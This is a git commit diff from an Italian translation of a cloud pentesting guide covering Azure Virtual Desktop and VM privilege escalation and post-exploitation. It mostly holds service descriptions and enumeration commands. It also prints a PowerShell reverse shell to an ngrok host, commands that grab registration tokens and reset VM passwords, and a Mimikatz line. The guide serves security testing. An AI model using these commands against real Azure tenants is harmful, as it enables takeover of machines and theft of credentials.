Translated ['src/pentesting-cloud/azure-security/az-post-exploitation/az

This commit is contained in:
Translator
2025-02-26 16:11:06 +00:00
parent e654fce857
commit 3bdec3cc70
5 changed files with 141 additions and 67 deletions

View File

@@ -454,7 +454,7 @@
- [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md)
- [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md)
- [Az - Blob Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md)
- [Az - CosmosDB](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
- [Az - CosmosDB Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md)
- [Az - File Share Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md)
- [Az - Function Apps Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md)
- [Az - Key Vault Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md)
@@ -465,6 +465,7 @@
- [Az - Service Bus Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md)
- [Az - Table Storage Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-table-storage-post-exploitation.md)
- [Az - SQL Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md)
- [Az - Virtual Desktop Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-virtual-desktop-post-exploitation.md)
- [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)

View File

@@ -0,0 +1,21 @@
# Az - VMs & Network Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Desktop Virtuale
Per ulteriori informazioni su Desktop Virtuale, controlla la seguente pagina:
{{#ref}}
../az-services/az-virtual-desktop.md
{{#endref}}
### Tecniche comuni
- Sovrascrivere un **pacchetto MSIX dall'account di archiviazione** per ottenere RCE in qualsiasi VM che utilizza quell'app.
- In un remoteapp è possibile cambiare il **percorso del binario da eseguire**.
- **Evasione dalle app** a una shell per ottenere RCE.
- Qualsiasi attacco di post exploitation e persistenza da **Azure VMs.**
- È possibile **configurare uno script da eseguire** nel pool per applicare configurazioni personalizzate.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,14 +4,24 @@
## Azure Virtual Desktop Privesc
Per ulteriori informazioni su Azure Virtual Desktop controlla:
{{#ref}}
../az-services/az-virtual-desktop.md
{{#endref}}
### `Microsoft.DesktopVirtualization/hostPools/retrieveRegistrationToken/action`
Puoi recuperare il token di registrazione utilizzato per registrare macchine virtuali all'interno di un pool di host.
Puoi recuperare il token di registrazione utilizzato per registrare le macchine virtuali all'interno di un pool di host.
```bash
az desktopvirtualization hostpool retrieve-registration-token -n testhostpool -g Resource_Group_1
```
### ("Microsoft.Authorization/roleAssignments/read", "Microsoft.Authorization/roleAssignments/write") && ("Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write")
### Microsoft.Authorization/roleAssignments/read, Microsoft.Authorization/roleAssignments/write
Con queste autorizzazioni puoi aggiungere un'assegnazione utente al gruppo Applicazione, che è necessaria per accedere alla macchina virtuale del desktop virtuale.
> [!WARNING]
> Un attaccante con questi permessi potrebbe fare cose molto più pericolose di questa.
Con questi permessi puoi aggiungere un'assegnazione utente al gruppo Applicazione, che è necessaria per accedere alla macchina virtuale del desktop virtuale:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP_NAME>/providers/Microsoft.DesktopVirtualization/applicationGroups/<APP_GROUP_NAME>/providers/Microsoft.Authorization/roleAssignments/<NEW_ROLE_ASSIGNMENT_GUID>?api-version=2022-04-01" \
@@ -22,12 +32,7 @@ az rest --method PUT \
}
}'
```
Inoltre, puoi cambiare l'utente e la password della macchina virtuale per accedervi.
```bash
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>
```
Nota che affinché un utente possa accedere a un Desktop o a un'app, ha anche bisogno del ruolo `Virtual Machine User Login` o `Virtual Machine Administrator Login` sulla VM.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -49,7 +49,7 @@ az vm extension set \
{{#tab name="Windows" }}
- Eseguire una reverse shell
- Esegui una reverse shell
```bash
# Get encoded reverse shell
echo -n '$client = New-Object System.Net.Sockets.TCPClient("7.tcp.eu.ngrok.io",19159);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' | iconv --to-code UTF-16LE | base64
@@ -93,7 +93,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>Estensione VMAccess</summary>
Questa estensione consente di modificare la password (o crearne una se non esiste) degli utenti all'interno delle VM Windows.
Questa estensione consente di modificare la password (o crearla se non esiste) degli utenti all'interno delle VM Windows.
```bash
# Run VMAccess extension to reset the password
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
@@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
<summary>DesiredConfigurationState (DSC)</summary>
Questa è un **estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione:
Questa è un'**estensione VM** che appartiene a Microsoft e utilizza PowerShell DSC per gestire la configurazione delle VM Windows di Azure. Pertanto, può essere utilizzata per **eseguire comandi arbitrari** nelle VM Windows tramite questa estensione:
```bash
# Content of revShell.ps1
Configuration RevShellConfig {
@@ -298,15 +298,15 @@ Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
### `Microsoft.Compute/virtualMachines/login/action`
Questo permesso consente a un utente di **accedere come utente a una VM tramite SSH o RDP** (purché l'autenticazione Entra ID sia abilitata nella VM).
Questo permesso consente a un utente di **accedere come utente a una VM tramite SSH o RDP** (finché l'autenticazione Entra ID è abilitata nella VM).
Accedi tramite **SSH** con **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** e tramite **RDP** con le tue **credenziali Azure normali**.
Accedi tramite **SSH** con **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** e tramite **RDP** con le tue **credenziali Azure regolari**.
### `Microsoft.Compute/virtualMachines/loginAsAdmin/action`
Questo permesso consente a un utente di **accedere come utente a una VM tramite SSH o RDP** (purché l'autenticazione Entra ID sia abilitata nella VM).
Questo permesso consente a un utente di **accedere come utente a una VM tramite SSH o RDP** (finché l'autenticazione Entra ID è abilitata nella VM).
Accedi tramite **SSH** con **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** e tramite **RDP** con le tue **credenziali Azure normali**.
Accedi tramite **SSH** con **`az ssh vm --name <vm-name> --resource-group <rsc-group>`** e tramite **RDP** con le tue **credenziali Azure regolari**.
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
@@ -327,7 +327,7 @@ az vm create \
```
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Queste autorizzazioni sono sufficienti per **assegnare nuove identità gestite a una VM**. Nota che una VM può avere diverse identità gestite. Può avere l'**identità assegnata dal sistema** e **molte identità gestite dall'utente**.\
Queste autorizzazioni sono sufficienti per **assegnare nuove identità gestite a una VM**. Nota che una VM può avere diverse identità gestite. Può avere quella **assegnata dal sistema** e **molte identità gestite dall'utente**.\
Poi, dal servizio di metadata è possibile generare token per ciascuna di esse.
```bash
# Get currently assigned managed identities to the VM
@@ -343,12 +343,22 @@ az vm identity assign \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity1 \
/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/TestManagedIdentity2
```
Poi l'attaccante deve aver **compromesso in qualche modo la VM** per rubare i token dalle identità gestite assegnate. Controlla **ulteriori informazioni in**:
L'attaccante deve aver **compromesso in qualche modo la VM** per rubare i token dalle identità gestite assegnate. Controlla **ulteriori informazioni in**:
{{#ref}}
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
{{#endref}}
### "Microsoft.Compute/virtualMachines/read","Microsoft.Compute/virtualMachines/write","Microsoft.Compute/virtualMachines/extensions/read","Microsoft.Compute/virtualMachines/extensions/write"
Queste autorizzazioni consentono di cambiare l'utente e la password della macchina virtuale per accedervi:
```bash
az vm user update \
--resource-group <RESOURCE_GROUP_NAME> \
--name <VM_NAME> \
--username <USERNAME> \
--password <NEW_PASSWORD>
```
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
Secondo la [**documentazione**](https://learn.microsoft.com/en-us/azure/role-based-access-control/permissions/compute#microsoftcompute), questo permesso ti consente di gestire il sistema operativo della tua risorsa tramite Windows Admin Center come amministratore. Quindi sembra che questo dia accesso al WAC per controllare le VM...

View File

@@ -4,61 +4,105 @@
## Azure Virtual Desktop
Virtual Desktop è un **servizio di virtualizzazione desktop e app**. Consente di fornire desktop Windows completi, inclusi Windows 11, Windows 10 o Windows Server agli utenti da remoto, sia come desktop individuali che tramite singole applicazioni. Supporta configurazioni a sessione singola per uso personale e ambienti a sessione multipla. Gli utenti possono connettersi da praticamente qualsiasi dispositivo utilizzando app native o un browser web.
Virtual Desktop è un **servizio di virtualizzazione desktop e app**. Consente di fornire desktop Windows completi, inclusi Windows 11, Windows 10 o Windows Server, agli utenti in remoto, sia come desktop individuali che tramite singole applicazioni. Supporta configurazioni a sessione singola per uso personale e ambienti a sessione multipla. Gli utenti possono connettersi da praticamente qualsiasi dispositivo utilizzando app native o un browser web.
### Host Pools
Gli host pool in Azure Virtual Desktop sono collezioni di macchine virtuali Azure configurate come host di sessione, fornendo desktop virtuali e app agli utenti. Ci sono due tipi principali:
- **Personal host pools**, dove ogni macchina virtuale è dedicata a un singolo utente, con i propri ambienti
- **Pooled host pools**, dove più utenti condividono risorse su qualsiasi host di sessione disponibile. Ha un limite di sessione configurabile e una configurazione dell'host di sessione consente ad Azure Virtual Desktop di automatizzare la creazione di host di sessione basata su una configurazione
Ogni host pool ha un **token di registrazione** utilizzato per registrare macchine virtuali all'interno di un host pool.
- **Host pool personali**, dove ogni macchina virtuale è dedicata a un singolo utente.
- Può essere configurato in modo che l'**amministratore possa assegnare** utenti specifici alle VM o che questo avvenga **automaticamente**.
- Questo è ideale per persone con carichi di lavoro intensivi poiché ogni persona avrà la propria VM. Inoltre, potranno memorizzare file e configurare impostazioni nel disco del sistema operativo e queste persisteranno poiché **ogni utente ha la propria VM (host)**.
### Application groups & Workspace
I gruppi di applicazioni **controllano l'accesso degli utenti** a un desktop completo o a set specifici di applicazioni disponibili sugli host di sessione all'interno di un host pool. Ci sono due tipi:
- **Desktop application groups**, che danno agli utenti accesso a un desktop Windows completo (disponibile sia con personal che con pooled host pools)
- **RemoteApp groups**, che consentono agli utenti di accedere a singole applicazioni pubblicate (disponibili solo con pooled host pools).
Un host pool può avere un gruppo di applicazioni Desktop ma più gruppi RemoteApp. Gli utenti possono essere assegnati a più gruppi di applicazioni attraverso diversi host pool. Se un utente è assegnato sia a gruppi desktop che a gruppi RemoteApp all'interno dello stesso host pool, vedrà solo le risorse dal tipo di gruppo preferito impostato dagli amministratori.
- **Host pool condivisi**, dove più **utenti condividono risorse** sugli host di sessione disponibili.
- È possibile configurare un **numero massimo di utenti** (sessioni) per host.
- È possibile **aggiungere VM manualmente** utilizzando chiavi di registrazione, o **consentire ad Azure di scalare automaticamente** il numero di host senza avere l'opzione di aggiungere VM utilizzando la chiave di registrazione. Non è possibile scalare automaticamente le VM per pool personali.
- Per persistere i file nelle sessioni degli utenti, è necessario utilizzare **FSlogix**.
Un **workspace** è una **collezione di gruppi di applicazioni**, che consente agli utenti di accedere ai desktop e ai gruppi di applicazioni a loro assegnati. Ogni gruppo di applicazioni deve essere collegato a un workspace e può appartenere a un solo workspace alla volta.
### Session Hosts
Queste sono le **VM a cui gli utenti si connetteranno.**
- Se è stata selezionata la scalabilità automatica, verrà creato un modello con le **caratteristiche degli host** che devono essere creati per il pool.
- In caso contrario, durante la creazione dell'Host pool è possibile indicare le **caratteristiche e il numero di VM** che si desidera creare e Azure le creerà e le aggiungerà per te.
Le principali caratteristiche per **configurare le VM** sono:
- Il **prefisso** del nome delle nuove VM
- Il **tipo di VM**: Questo può essere “macchina virtuale Azure” (per utilizzare le VM Azure) o “macchina virtuale locale Azure” che consente di distribuire gli host in loco o al confine.
- La posizione, le zone, le opzioni di sicurezza della VM, l'immagine, la CPU, la memoria, la dimensione del disco…
- Il **VNet, il gruppo di sicurezza e le porte** da esporre a Internet
- È possibile impostare credenziali per **unirsi automaticamente a un dominio AD**, o utilizzare la directory Entra ID
- Se Entra ID, è possibile **iscrivere automaticamente la nuova VM in Intune**
- È necessario impostare un **nome utente e una password dell'amministratore** a meno che Azure non scaldi gli host, in tal caso deve essere **configurato un segreto con il nome utente e un altro con la password**
- È possibile **configurare uno script da eseguire** per la configurazione personalizzata
### Application Groups
**I gruppi di applicazioni** controllano l'accesso degli utenti a un desktop completo o a set specifici di applicazioni disponibili sugli host di sessione all'interno di un host pool.
Ci sono due tipi di gruppi di applicazioni:
- **Gruppi di applicazioni desktop**, che danno agli utenti accesso a desktop Windows completi e app collegate.
- **Gruppi RemoteApp**, che consentono agli utenti di accedere a singole applicazioni.
- Non è possibile assegnare questo tipo di gruppo di applicazioni a un Pool Personale.
- È necessario indicare il percorso del binario da eseguire all'interno della VM.
Un Pool Condiviso può avere **un gruppo di applicazioni Desktop** e **più gruppi RemoteApp** e gli utenti possono essere assegnati a più gruppi di applicazioni in diversi host pool.
Quando a un utente viene **concesso accesso**, gli viene assegnato il ruolo **`Desktop Virtualization User`** sul gruppo di applicazioni.
### Workspaces & Connections
Un **workspace** è una collezione di gruppi di applicazioni.
Per **connettersi** al Desktop o alle app assegnate è possibile farlo da [https://windows365.microsoft.com/ent#/devices](https://windows365.microsoft.com/ent#/devices)
E ci sono altri metodi descritti su [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client)
Quando un utente accede al proprio account, gli verrà **presentato separato per workspace tutto ciò a cui ha accesso**. Pertanto, è necessario aggiungere **ogni gruppo di applicazioni a un workspace** affinché gli accessi definiti siano visibili.
Affinché un utente possa accedere a un Desktop o a un'app, ha anche bisogno del ruolo **`Virtual Machine User Login`** o **`Virtual Machine Administrator Login`** sulla VM.
### Managed Identities
Non è possibile assegnare identità gestite agli host pool, quindi le VM create all'interno di un pool le avranno.
Tuttavia, è possibile **assegnare identità gestite di sistema e utente alle VM** e poi accedere ai token dai metadati. In effetti, dopo aver lanciato gli host pool dal web, le 2 VM generate hanno l'identità gestita di sistema abilitata (anche se non ha alcuna autorizzazione).
### Key Features
- **Creazione flessibile di VM**: Crea macchine virtuali Azure direttamente o aggiungi macchine virtuali locali Azure in un secondo momento.
- **Funzionalità di sicurezza**: Abilita Trusted Launch (secure boot, vTPM, monitoraggio dell'integrità) per una sicurezza avanzata delle VM (è necessaria una rete virtuale). Può integrare Azure Firewall e controllare il traffico tramite Network Security Groups.
- **Domain Join**: Supporto per l'unione a domini Active Directory con configurazioni personalizzabili.
- **Diagnostica e monitoraggio**: Abilita le impostazioni diagnostiche per trasmettere log e metriche a Log Analytics, account di archiviazione o event hubs per il monitoraggio.
- **Modelli di immagine personalizzati**: Crea e gestisci modelli da utilizzare quando aggiungi host di sessione. Aggiungi facilmente personalizzazioni comuni o i tuoi script personalizzati.
- **Registrazione dello workspace**: Registra facilmente gruppi di applicazioni desktop predefiniti a nuovi o esistenti workspace per semplificare la gestione dell'accesso degli utenti.
### Enumeration
```bash
az extension add --name desktopvirtualization
# List HostPool of a Resource group
az desktopvirtualization hostpool list --resource-group <Resource_Group>
# List HostPools
az desktopvirtualization hostpool list
# List Workspaces
az desktopvirtualization workspace list
# List Application Groups
az desktopvirtualization applicationgroup list --resource-group <Resource_Group>
# List Application Groups By Subscription
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/applicationGroups?api-version=2024-04-03"
az desktopvirtualization applicationgroup list
# List Applications in a Application Group
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/applications?api-version=2024-04-03"
# Check if Desktops are enabled
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03"
# List Assigned Users to the Application Group
az rest \
--method GET \
--url "https://management.azure.com/subscriptions/<SUBSCRIPTION_ID>/resourceGroups/<RESOURCE_GROUP_NAME>/providers/Microsoft.DesktopVirtualization/applicationGroups/<APP_GROUP_NAME>/providers/Microsoft.Authorization/roleAssignments?api-version=2022-04-01" \
| jq '.value[] | select((.properties.scope | ascii_downcase) == "/subscriptions/<subscription_id_in_lowercase>/resourcegroups/<resource_group_name_in_lowercase>/providers/microsoft.desktopvirtualization/applicationgroups/<app_group_name_in_lowercase>")'
# List hosts
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03"
# List Workspace in a resource group
az desktopvirtualization workspace list --resource-group <Resource_Group>
# List Workspace in a subscription
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/workspaces?api-version=2024-04-03"
# List App Attach Package By Resource Group
# List App Attach packages
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03"
# List App Attach Package By Subscription
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/providers/Microsoft.DesktopVirtualization/appAttachPackages?api-version=2024-04-03"
# List user sessions
az rest --method GET --url "https://management.azure.com/ssubscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostpools/{hostPoolName}/sessionhosts/{hostPoolHostName}/userSessions?api-version=2024-04-03"
# List Desktops
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/desktops?api-version=2024-04-03"
@@ -68,34 +112,27 @@ az rest --method GET --url "https://management.azure.com/subscriptions/{subscrip
# List private endpoint connections associated with hostpool.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateEndpointConnections?api-version=2024-04-03"
# List private endpoint connections associated By Workspace.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateEndpointConnections?api-version=2024-04-03"
# List the private link resources available for a hostpool.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/privateLinkResources?api-version=2024-04-03"
# List the private link resources available for this workspace.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/workspaces/{workspaceName}/privateLinkResources?api-version=2024-04-03"
# List sessionHosts/virtual machines.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts?api-version=2024-04-03"
# List start menu items in the given application group.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/applicationGroups/{applicationGroupName}/startMenuItems?api-version=2024-04-03"
# List userSessions.
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/sessionHosts/{sessionHostName}/userSessions?api-version=2024-04-03"
# List userSessions By Host Pool
az rest --method GET --url "https://management.azure.com/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/Microsoft.DesktopVirtualization/hostPools/{hostPoolName}/userSessions?api-version=2024-04-03"
```
### Connessione
Per connettersi al desktop virtuale tramite web, è possibile accedere tramite https://client.wvd.microsoft.com/arm/webclient/ (il più comune), o https://client.wvd.microsoft.com/webclient/index.html (classico) Ci sono altri metodi che sono descritti qui [https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows](https://learn.microsoft.com/en-us/azure/virtual-desktop/users/connect-remote-desktop-client?tabs=windows)
## Privesc
{{#ref}}
../az-privilege-escalation/az-virtual-desktop-privesc.md
{{#endref}}
## Post Exploitation & Persistence
{{#ref}}
../az-post-exploitation/az-virtual-desktop-post-exploitation.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}